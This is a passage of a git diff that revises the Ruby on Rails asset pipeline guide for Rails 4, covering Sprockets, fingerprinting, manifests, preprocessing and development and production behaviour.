ends with a full stop—it's standard English. +The description starts in upper case and ends with a full stop-it's standard English. Dynamically Generated Methods ----------------------------- diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md index b68c24acfd..52fc9726d9 100644 --- a/guides/source/asset_pipeline.md +++ b/guides/source/asset_pipeline.md @@ -5,9 +5,9 @@ This guide covers the asset pipeline. After reading this guide, you will know: -* How to understand what the asset pipeline is and what it does. +* What the asset pipeline is and what it does. * How to properly organize your application assets. -* How to understand the benefits of the asset pipeline. +* The benefits of the asset pipeline. * How to add a pre-processor to the pipeline. * How to package assets with a gem. @@ -16,44 +16,97 @@ After reading this guide, you will know: What is the Asset Pipeline? --------------------------- -The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. +The asset pipeline provides a framework to concatenate and minify or compress +JavaScript and CSS assets. It also adds the ability to write these assets in +other languages and pre-processors such as CoffeeScript, Sass and ERB. -Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. +The asset pipeline is technically no longer a core feature of Rails 4, it has +been extracted out of the framework into the +[sprockets-rails](https://github.com/rails/sprockets-rails) gem. -The asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition: +The asset pipeline is enabled by default. + +You can disable the asset pipeline while creating a new application by +passing the `--skip-sprockets` option. + +```bash +rails new appname --skip-sprockets +``` + +Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier` +gems to your Gemfile, which are used by Sprockets for asset compression: ```ruby -config.assets.enabled = false +gem 'sass-rails' +gem 'uglifier' +gem 'coffee-rails' ``` -You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option. +Using the `--skip-sprockets` option will prevent Rails 4 from adding +`sass-rails` and `uglifier` to Gemfile, so if you later want to enable +the asset pipeline you will have to add those gems to your Gemfile. Also, +creating an application with the `--skip-sprockets` option will generate +a slightly different `config/application.rb` file, with a require statement +for the sprockets railtie that is commented-out. You will have to remove +the comment operator on that line to later enable the asset pipeline: -```bash -rails new appname --skip-sprockets +```ruby +# require "sprockets/railtie" ``` -You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline. +To set asset compression methods, set the appropriate configuration options +in `production.rb` - `config.assets.css_compressor` for your CSS and +`config.assets.js_compressor` for your JavaScript: +```ruby +config.assets.css_compressor = :yui +config.assets.js_compressor = :uglifier +``` -### Main Features +NOTE: The `sass-rails` gem is automatically used for CSS compression if included +in Gemfile and no `config.assets.css_compressor` option is set. -The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser makes to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application. -Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `cache: true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. +### Main Features + +The first feature of the pipeline is to concatenate assets, which can reduce the +number of requests that a browser makes to render a web page. Web browsers are +limited in the number of requests that they can make in parallel, so fewer +requests can mean faster loading for your application. -Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents. +Sprockets concatenates all JavaScript files into one master `.js` file and all +CSS files into one master `.css` file. As you'll learn later in this guide, you +can customize this strategy to group files any way you like. In production, +Rails inserts an MD5 fingerprint into each filename so that the file is cached +by the web browser. You can invalidate the cache by altering this fingerprint, +which happens automatically whenever you change the file contents. -The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. +The second feature of the asset pipeline is asset minification or compression. +For CSS files, this is done by removing whitespace and comments. For JavaScript, +more complex processes can be applied. You can choose from a set of built in +options or specify your own. -The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default. +The third feature of the asset pipeline is it allows coding assets via a +higher-level language, with precompilation down to the actual assets. Supported +languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by +default. ### What is Fingerprinting and Why Should I Care? -Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates. +Fingerprinting is a technique that makes the name of a file dependent on the +contents of the file. When the file contents change, the filename is also +changed. For content that is static or infrequently changed, this provides an +easy way to tell whether two versions of a file are identical, even across +different servers or deployment dates. -When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_. +When a filename is unique and based on its content, HTTP headers can be set to +encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, +or in web browsers) to keep their own copy of the content. When the content is +updated, the fingerprint will change. This will cause the remote clients to +request a new copy of the content. This is generally known as _cache busting_. -The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents: +The technique sprockets uses for fingerprinting is to insert a hash of the +content into the name, usually at the end. For example a CSS file `global.css` ``` global-908e25f4bf641868d8683022a5b62f54.css @@ -61,7 +114,8 @@ global-908e25f4bf641868d8683022a5b62f54.css This is the strategy adopted by the Rails asset pipeline. -Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this: +Rails' old strategy was to append a date-based query string to every asset linked +with a built-in helper. In the source the generated code looked like this: ``` /stylesheets/global.css?1309495796 @@ -69,68 +123,130 @@ Rails' old strategy was to append a date-based query string to every asset linke The query string strategy has several disadvantages: -1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br /> - [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. +1. **Not all caches will reliably cache content where the filename only differs by +query parameters**<br> + [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), + "...avoiding a querystring for cacheable resources". He found that in this +case 5-20% of requests will not be cached. Query strings in particular do not +work at all with some CDNs for cache invalidation. -2. **The file name can change between nodes in multi-server environments.**<br /> - The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request. -3. **Too much cache invalidation**<br /> - When static assets are deployed with each new release of code, the mtime(time of last modification) of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. +2. **The file name can change between nodes in multi-server environments.**<br> + The default query string in Rails 2.x is based on the modification time of +the files. When assets are deployed to a cluster, there is no guarantee that the +timestamps will be the same, resulting in different values being used depending +on which server handles the request. -Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content. +3. **Too much cache invalidation**<br> + When static assets are deployed with each new release of code, the mtime +(time of last modification) of _all_ these files changes, forcing all remote +clients to fetch them again, even when the content of those assets has not changed. -Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option. +Fingerprinting fixes these problems by avoiding query strings, and by ensuring +that filenames are consistent based on their content. + +Fingerprinting is enabled by default for production and disabled for all other +environments. You can enable or disable it in your configuration through the +`config.assets.digest` option. More reading: * [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html) -* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) +* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) How to Use the Asset Pipeline ----------------------------- -In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. +In previous versions of Rails, all assets were located in subdirectories of +`public` such as `images`, `javascripts` and `stylesheets`. With the asset +pipeline, the preferred location for these assets is now the `app/assets` +directory. Files in this directory are served by the Sprockets middleware. -Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served. +Assets can still be placed in the `public` hierarchy. Any assets under `public` +will be served as static files by the application or web server. You should use +`app/assets` for files that must undergo some pre-processing before they are +served. -In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production. +In production, Rails precompiles these files to `public/assets` by default. The +precompiled copies are then served as static assets by the web server. The files +in `app/assets` are never served directly in production. ### Controller Specific Assets -When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller. - -For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. By default these files will be ready to use by your application immediately using the `require_tree` directive. See [Manifest Files and Directives](#manifest-files-and-directives) for more details on require_tree. - -You can also opt to include controller specific stylesheets and JavaScript files only in their respective controllers using the following: `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`. Ensure that you are not using the `require_tree` directive though, as this will result in your assets being included more than once. - -WARNING: When using asset precompilation (the production default), you will need to ensure that your controller assets will be precompiled when loading them on a per page basis. By default .coffee and .scss files will not be precompiled on their own. This will result in false positives during development as these files will work just fine since assets will be compiled on the fly. When running in production however, you will see 500 errors since live compilation is turned off by default. See [Precompiling Assets](#precompiling-assets) for more information on how precompiling works. - -NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes. - -You can also disable the generation of asset files when generating a controller by adding the following to your `config/application.rb` configuration: +When you generate a scaffold or a controller, Rails also generates a JavaScript +file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a +Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) +for that controller. Additionally, when generating a scaffold, Rails generates +the file scaffolds.css (or scaffolds.css.scss if `sass-rails` is in the +`Gemfile`.) + +For example, if you generate a `ProjectsController`, Rails will also add a new +file at `app/assets/javascripts/projects.js.coffee` and another at +`app/assets/stylesheets/projects.css.scss`. By default these files will be ready +to use by your application immediately using the `require_tree` directive. See +[Manifest Files and Directives](#manifest-files-and-directives) for more details +on require_tree. + +You can also opt to include controller specific stylesheets and JavaScript files +only in their respective controllers using the following: + +`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag +params[:controller] %>` + +When doing this, ensure you are not using the `require_tree` directive, as that +will result in your assets being included more than once. + +WARNING: When using asset precompilation, you will need to ensure that your +controller assets will be precompiled when loading them on a per page basis. By +default .coffee and .scss files will not be precompiled on their own. This will +result in false positives during development as these files will work just fine +since assets are compiled on the fly in development mode. When running in +production, however, you will see 500 errors since live compilation is turned +off by default. See [Precompiling Assets](#precompiling-assets) for more +information on how precompiling works. + +NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. +If you are using Mac OS X or Windows, you have a JavaScript runtime installed in +your operating system. Check +[ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all +supported JavaScript runtimes. + +You can also disable generation of controller specific asset files by adding the +following to your `config/application.rb` configuration: ```ruby -config.generators do |g| - g.assets false -end + config.generators do |g| + g.assets false + end ``` ### Asset Organization -Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. +Pipeline assets can be placed inside an application in one of three locations: +`app/assets`, `lib/assets` or `vendor/assets`. + +* `app/assets` is for assets that are owned by the application, such as custom +images, JavaScript files or stylesheets. -* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets. +* `lib/assets` is for your own libraries' code that doesn't really fit into the +scope of the application or those libraries which are shared across applications. -* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications. +* `vendor/assets` is for assets that are owned by outside entities, such as +code for JavaScript plugins and CSS frameworks. -* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks. +WARNING: If you are upgrading from Rails 3, please take into account that assets +under `lib/assets` or `vendor/assets` are available for inclusion via the +application manifests but no longer part of the precompile array. See +[Precompiling Assets](#precompiling-assets) for guidance. #### Search Paths -When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it. +When a file is referenced from a manifest or a helper, Sprockets searches the +three default asset locations for it. -The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched. +The default locations are: the `images`, `javascripts` and `stylesheets` +directories under the `app/assets` folder, but these subdirectories +are not special - any path under `assets/*` will be searched. For example, these files: @@ -162,72 +278,113 @@ is referenced as: //= require sub/something ``` -You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console. +You can view the search path by inspecting +`Rails.application.config.assets.paths` in the Rails console. -Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example: +Besides the standard `assets/*` paths, additional (fully qualified) paths can be +added to the pipeline in `config/application.rb`. For example: ```ruby config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") ``` -Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`. +Paths are traversed in the order they occur in the search path. By default, +this means the files in `app/assets` take precedence, and will mask +corresponding paths in `lib` and `vendor`. -It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment. +It is important to note that files you want to reference outside a manifest must +be added to the precompile array or they will not be available in the production +environment. #### Using Index Files -Sprockets uses files named `index` (with the relevant extensions) for a special purpose. +Sprockets uses files named `index` (with the relevant extensions) for a special +purpose. -For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive. +For example, if you have a jQuery library with many modules, which is stored in +`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as +the manifest for all files in this library. This file could include a list of +all the required files in order, or a simple `require_tree` directive. -The library as a whole can be accessed in the site's application manifest like so: +The library as a whole can be accessed in the application manifest like so: ```js //= require library_name ``` -This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere. +This simplifies maintenance and keeps things clean by allowing related code to +be grouped before inclusion elsewhere. ### Coding Links to Assets -Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`. +Sprockets does not add any new methods to access your assets - you still use the +familiar `javascript_include_tag` and `stylesheet_link_tag`: ```erb -<%= stylesheet_link_tag "application" %> +<%= stylesheet_link_tag "application", media: "all" %> <%= javascript_include_tag "application" %> ``` -In regular views you can access images in the `assets/images` directory like this: +If using the turbolinks gem, which is included by default in Rails 4, then +include the 'data-turbolinks-track' option which causes turbolinks to check if +an asset has been updated and if so loads it into the page: + +```erb +<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %> +<%= javascript_include_tag "application", "data-turbolinks-track" => true %> +``` + +In regular views you can access images in the `public/assets/images` directory +like this: ```erb <%= image_tag "rails.png" %> ``` -Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server. +Provided that the pipeline is enabled within your application (and not disabled +in the current environment context), this file is served by Sprockets. If a file +exists at `public/assets/rails.png` it is served by the web server. -Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide. +Alternatively, a request for a file with an MD5 hash such as +`public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same +way. How these hashes are generated is covered in the [In +Production](#in-production) section later on in this guide. -Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines. +Sprockets will also look through the paths specified in `config.assets.paths`, +which includes the standard application paths and any paths added by Rails +engines. -Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: +Images can also be organized into subdirectories if required, and then can be +accessed by specifying the directory's name in the tag: ```erb <%= image_tag "icons/rails.png" %> ``` -WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data. +WARNING: If you're precompiling your assets (see [In Production](#in-production) +below), linking to an asset that does not exist will raise an exception in the +calling page. This includes linking to a blank string. As such, be careful using +`image_tag` and the other helpers with user-supplied data. #### CSS and ERB -The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules: +The asset pipeline automatically evaluates ERB. This means if you add an +`erb` extension to a CSS asset (for example, `application.css.erb`), then +helpers like `asset_path` are available in your CSS rules: ```css .class { background-image: url(<%= asset_path 'image.png' %>) } ``` -This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced. +This writes the path to the particular asset being referenced. In this example, +it would make sense to have an image in one of the asset load paths, such as +`app/assets/images/image.png`, which would be referenced here. If this image is +already available in `public/assets` as a fingerprinted file, then that path is +referenced. -If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) — a method of embedding the image data directly into the CSS file — you can use the `asset_data_uri` helper. +If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) - +a method of embedding the image data directly into the CSS file - you can use +the `asset_data_uri` helper. ```css #logo { background: url(<%= asset_data_uri 'logo.png' %>) } @@ -239,29 +396,33 @@ Note that the closing tag cannot be of the style `-%>`. #### CSS and Sass -When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. +When using the asset pipeline, paths to assets must be re-written and +`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, +underscored in Ruby) for the following asset classes: image, font, video, audio, +JavaScript and stylesheet. * `image-url("rails.png")` becomes `url(/assets/rails.png)` * `image-path("rails.png")` becomes `"/assets/rails.png"`. -The more generic form can also be used but the asset path and class must both be specified: +The more generic form can also be used: -* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)` -* `asset-path("rails.png", image)` becomes `"/assets/rails.png"` +* `asset-url("rails.png")` becomes `url(/assets/rails.png)` +* `asset-path("rails.png")` becomes `"/assets/rails.png"` #### JavaScript/CoffeeScript and ERB -If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code: +If you add an `erb` extension to a JavaScript asset, making it something such as +`application.js.erb`, you can then use the `asset_path` helper in your +JavaScript code: ```js -$('#logo').attr({ - src: "<%= asset_path('logo.png') %>" -}); +$('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); ``` This writes the path to the particular asset being referenced. -Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`): +Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` +extension (e.g., `application.js.coffee.erb`): ```js $('#logo').attr src: "<%= asset_path('logo.png') %>" @@ -269,10 +430,19 @@ $('#logo').attr src: "<%= asset_path('logo.png') %>" ### Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ — instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. Compression also reduces the file size enabling the browser to download it faster. +Sprockets uses manifest files to determine which assets to include and serve. +These manifest files contain _directives_ - instructions that tell Sprockets +which files to require in order to build a single CSS or JavaScript file. With +these directives, Sprockets loads the files specified, processes them if +necessary, concatenates them into one single file and then compresses them (if +`Rails.application.config.assets.compress` is true). By serving one file rather +than many, the load time of pages can be greatly reduced because the browser +makes fewer requests. Compression also reduces file size, enabling the +browser to download them faster. -For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines: +For example, a new Rails 4 application includes a default +`app/assets/javascripts/application.js` file containing the following lines: ```js // ... @@ -281,30 +451,64 @@ For example, a new Rails application includes a default `app/assets/javascripts/ //= require_tree . ``` -In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file. - -The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion. +In JavaScript files, Sprockets directives begin with `//=`. In the above case, +the file is using the `require` and the `require_tree` directives. The `require` +directive is used to tell Sprockets the files you wish to require. Here, you are +requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere +in the search path for Sprockets. You need not supply the extensions explicitly. +Sprockets assumes you are requiring a `.js` file when done from within a `.js` +file. + +The `require_tree` directive tells Sprockets to recursively include _all_ +JavaScript files in the specified directory into the output. These paths must be +specified relative to the manifest file. You can also use the +`require_directory` directive which includes all JavaScript files only in the +directory specified, without recursion. + +Directives are processed top to bottom, but the order in which files are +included by `require_tree` is unspecified. You should not rely on any particular +order among those. If you need to ensure some particular JavaScript ends up +above some other in the concatenated file, require the prerequisite file first +in the manifest. Note that the family of `require` directives prevents files +from being included twice in the output. + +Rails also creates a default `app/assets/stylesheets/application.css` file +which contains these lines: -Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output. - -Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines: - -```js +```css /* ... *= require_self *= require_tree . */ ``` -The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory. +Rails 4 creates both `app/assets/javascripts/application.js` and +`app/assets/stylesheets/application.css` regardless of whether the +--skip-sprockets option is used when creating a new rails application. This is +so you can easily add asset pipelining later if you like. -In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected. +The directives that work in JavaScript files also work in stylesheets +(though obviously including stylesheets rather than JavaScript files). The +`require_tree` directive in a CSS manifest works the same way as the JavaScript +one, requiring all stylesheets from the current directory. -NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. +In this example, `require_self` is used. This puts the CSS contained within the +file (if any) at the precise location of the `require_self` call. If +`require_self` is called more than once, only the last call is respected. -You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application. +NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) +instead of these Sprockets directives. Using Sprockets directives all Sass files exist within +their own scope, making variables or mixins only available within the document they were defined in. +You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree +equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats. -The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way: +You can have as many manifest files as you need. For example, the `admin.css` +and `admin.js` manifest could contain the JS and CSS files that are used for the +admin section of an application. + +The same remarks about ordering made above apply. In particular, you can specify +individual files and they are compiled in the order specified. For example, you +might concatenate three CSS files together this way: ```js /* ... @@ -314,21 +518,41 @@ The same remarks about ordering made above apply. In particular, you can specify */ ``` - ### Preprocessing -The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file. - -When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively. +The file extensions used on an asset determine what preprocessing is applied. +When a controller or a scaffold is generated with the default Rails gemset, a +CoffeeScript file and a SCSS file are generated in place of a regular JavaScript +and CSS file. The example used before was a controller called "projects", which +generated an `app/assets/javascripts/projects.js.coffee` and an +`app/assets/stylesheets/projects.css.scss` file. + +In development mode, or if the asset pipeline is disabled, when these files are +requested they are processed by the processors provided by the `coffee-script` +and `sass` gems and then sent back to the browser as JavaScript and CSS +respectively. When asset pipelining is enabled, these files are preprocessed and +placed in the `public/assets` directory for serving by either the Rails app or +web server. + +Additional layers of preprocessing can be requested by adding other extensions, +where each extension is processed in a right-to-left manner. These should be +used in the order the processing should be applied. For example, a stylesheet +called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, +then SCSS, and finally served as CSS. The same applies to a JavaScript file - +`app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then +CoffeeScript, and served as JavaScript. + +Keep in mind the order of these preprocessors is important. For example, if +you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` +then it would be processed with the CoffeeScript interpreter first, which +wouldn't understand ERB and therefore you would run into problems. -Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file — `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served as JavaScript. - -Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. In Development -------------- -In development mode, assets are served as separate files in the order they are specified in the manifest file. +In development mode, assets are served as separate files in the order they are +specified in the manifest file. This manifest `app/assets/javascripts/application.js`: @@ -348,41 +572,66 @@ would generate this HTML: The `body` param is required by Sprockets. +### Runtime Error Checking + +By default the asset pipeline will check for potential errors in development mode during +runtime. To disable this behavior you can set: + +```ruby +config.assets.raise_runtime_errors = false +``` + +When this option is true asset pipeline will check if all the assets loaded in your application +are included in the `config.assets.precompile` list. + ### Turning Debugging Off -You can turn off debug mode by updating `config/environments/development.rb` to include: +You can turn off debug mode by updating `config/environments/development.rb` to +include: ```ruby config.assets.debug = false ``` -When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: +When debug mode is off, Sprockets concatenates and runs the necessary +preprocessors on all files. With debug mode turned off the manifest above would +generate instead: ```html <script src="/assets/application.js"></script> ``` -Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests — on these the browser gets a 304 (Not Modified) response. +Assets are compiled and cached on the first request after the server is started. +Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request +overhead on subsequent requests - on these the browser gets a 304 (Not Modified) +response. -If any of the files in the manifest have changed between requests, the server responds with a new compiled file. +If any of the files in the manifest have changed between requests, the server +responds with a new compiled file. -Debug mode can also be enabled in the Rails helper methods: +Debug mode can also be enabled in Rails helper methods: ```erb <%= stylesheet_link_tag "application", debug: true %> <%= javascript_include_tag "application", debug: true %> ``` -The `:debug` option is redundant if debug mode is on. +The `:debug` option is redundant if debug mode is already on. -You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. +You can also enable compression in development mode as a sanity check, and +disable it on-demand as required for debugging. In Production ------------- -In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server. +In the production environment Sprockets uses the fingerprinting scheme outlined +above. By default Rails assumes assets have been precompiled and will be +served as static assets by your web server. -During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. +During the precompilation phase an MD5 is generated from the contents of the +compiled files, and inserted into the filenames as they are written to disc. +These fingerprinted names are used by the Rails helpers in place of the manifest +name. For example this: @@ -395,23 +644,34 @@ generates something like this: ```html <script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script> -<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" /> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" +rel="stylesheet" /> ``` -Note: with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the `javascript_include_tag` and `stylesheet_link_tag`. - +Note: with the Asset Pipeline the :cache and :concat options aren't used +anymore, delete these options from the `javascript_include_tag` and +`stylesheet_link_tag`. -The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails 